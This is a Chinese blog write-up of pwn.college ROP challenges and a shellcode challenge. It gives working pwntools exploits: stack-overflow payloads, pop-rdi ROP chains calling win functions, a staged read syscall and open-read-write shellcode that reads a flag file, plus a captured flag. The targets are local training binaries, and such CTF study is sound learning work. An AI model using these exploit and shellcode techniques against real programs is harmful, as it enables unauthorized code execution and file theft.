菜鸡的PWNcolloge-ROP(好难)

level1.0

文件dump下来看看主函数,是rop第一题签到题目很简单。

分析里面的challenge里面的函数,里面才是真的挑战,这个函数输出那么多英文,差不多意思就是,这个此程序要win就得溢出到这函数的地址,地址在运行程序的时候会给你,你也可以通过ida静态分析得到。

然后还告诉你溢出多少个字符,我框起来的红框,就是溢出点,buf最多也是就

0x28的字符,但是可以read 0x1000个字符,太多了,所以直接在这里写exp。

因为这个pwncollege只能打本地,所以以后的exp都是本地的

from pwn import *

#io = remote('':)
io = process('./babyrop_level1.0')

win = 0x0000000000401F96

payload = b'a' * 0x28 + p64(win)

io.recvuntil(b'address).')
io.sendline(payload)

io.interactive()
#pwn.college{UlqgtST_lKErcjzcCnDXdimNHL5.0VM0MDL2QDM0QzW}

总结:我回归复习pwn的第一题有感觉了,加油!

leve2.0

level2.0还是一个64位的程序,打开关卡后先运行程序,给我们提示

大概意思就是要想打通这个pwn获得flag,就得先运行win1然后再运行win2才可以得到flag,ok了,现在是知道如何得到flag了,现在再静态分析一些程序。

还是在同样的地方溢出但是得先溢出到返回地址,再运行win1和win2

win1和win2各输出一半的flag,我当时写题的时候就愣住了,这咋搞啊,用gadget里面的pop rdi ret来传,后来发现不对,是我想麻烦了,直接溢出+win1地址+win2地址就好了

from pwn import *

io = process('/challenge/babyrop_level2.0')

win1 = 0x401CBE
win2 = 0x401D6B
pop_rdi_ret = 0x402113


io.recvuntil('address).')
payload = b'a' * 0x38 + p64(win1) + p64(win2)
io.sendline(payload)
io.interactive()
level3.0

这个college都是64的后续就不说了,直接先运行程序,看看提示该如何解题。

大致翻译就是想要得到flag,你得先溢出如何让后面函数传入相应的值,比如win1的函数的参数就是1,如果不是1就得不到flag,win2的函数参数是2,win3是3,以此类推。

现在看看静态分析是什么。

凑了溢出点都一个样子

一共有五个win函数需要传参。

静态分析的话也可以分析出来,函数前面做了一共if判断,如果不是1就退出,所以要函数传入的参数为1,win2345都是一样的。

这个题目我写的时候第一想法就是用gadget来写,用pop rdi ret,先溢出到返回地址,如何返回这个pop rdi,这样的话就会先传进一共参数,后面ret再返回一共函数,就可以完成他的任务。溢出+pop rdi ret + 1 + win1,以此类推。

from pwn import *

io = process('/challenge/babyrop_level3.0')

win1 = 0x401FD6
win2 = 0x40227B
win3 = 0x401EF4
win4 = 0x402195
win5 = 0x4020B2

pop_rdi = 0x402663

payload = b'a' * 0x48 + p64(pop_rdi) + p64(1) + p64(win1)
payload += p64(pop_rdi) + p64(2) + p64(win2)
payload += p64(pop_rdi) + p64(3) + p64(win3)
payload += p64(pop_rdi) + p64(4) + p64(win4)
payload += p64(pop_rdi) + p64(5) + p64(win5)
io.recvuntil(b'address).')
io.sendline(payload)
io.interactive()
orw

因为写道level4不会了,而且也没有wp所以我就一直在搜相关的题目,越看越觉得是orw,然后我就看了一些orw是啥

简单来说orw也是一共保护,沙盒保护,说开启了之后,像shell什么的都会被禁用,没有。然后可以使用seccomp-tools dump指令进行查看。

orw全称open read write.指将根目录下的flag的文件打开,然后read进行读取,最后写出来。由于system函数被禁用,只能通过这种方式拿到flag

因为pwncollege遇到的题目都是没有system binsh的,只有类似cat flag或者/flag这些的。

在网上找了列题看感觉还是g。

simple_shellcode

利用系统调用号再调用一次read,先调试一下看看寄存器的值。
调试到系统会执行我们输入的值的前一步(call rdx)

 RAX  0x0
 RBX  0x0
 RCX  0x7ffff7b14d5a (prctl+10) ◂— cmp    rax, -0xfff
 RDX  0xcafe0000 ◂— 0xa61616161 /* 'aaaa\n' */
 RDI  0x16
 RSI  0x2
 R8   0x0
 R9   0x0
 R10  0x7ffff7b14d5a (prctl+10) ◂— cmp    rax, -0xfff
 R11  0x217
 R12  0x555555555100 (_start) ◂— endbr64
 R13  0x7fffffffe520 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe440 —▸ 0x5555555553d0 (__libc_csu_init) ◂— endbr64
 RSP  0x7fffffffe430 —▸ 0x7fffffffe520 ◂— 0x1
 RIP  0x5555555553b9 (main+131) ◂— call   rdx

read(0,0xcafe0000+x(地址),0x1000(长度))
在系统调用中就是
rax=0,rdi=0,rsi = 0xcafe0000+x(地址)rdx=0x1000(长度)
那么我们对照上面的寄存器地址就可以构造第一个payload
首先rax=0不用改变,先把rdi变成0 然后再把rsi=0xCAFE0010,rdx本身就够大了 也不用改变
shellcode1=asm('''
 mov rdi,rax;
 mov rsi,0xCAFE0010;
 syscall;
 nop;
 ''')

这里整个shellcode的长度刚好是0x10 所以rsi=0xCAFE0010,如果你把nop去掉变成9其实也可以。
然后就可以打ORW了
网上随便找一个读取flag的orw shellcode。

from pwn import *
context(log_level='debug',arch='amd64', os='linux')
p=process('./vuln')
# p=remote('1.14.71.254',28181)
shellcode1=asm('''
 mov rdi,rax;
 mov rsi,0xCAFE0010;
 syscall;
 nop;
 ''')

p.sendafter("Please input your shellcode:\n",shellcode1)
shellcode2= asm('''
 push 0x67616c66
 mov rdi,rsp
 xor esi,esi
 push 2
 pop rax
 syscall
 mov rdi,rax
 mov rsi,rsp
 mov edx,0x100
 xor eax,eax
 syscall
 mov edi,1
 mov rsi,rsp
 push 1
 pop rax
 syscall
 ''')
p.send(shellcode2)
# orw=b'\xb8flagPH\x89\xe71\xf61\xc0\x04\x02\x0f\x05\x89\xc7H\x89\xe6f\xb8\x01\x011\xd2f\x89\xc2f\x01\xc61\xc0\x0f\x051\xfff\xff\xc7f\xff\xc71\xc0\xfe\xc0\x0f\x05'
# p.send(orw)
print(p.recv())
print(p.recv())
  • 8
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值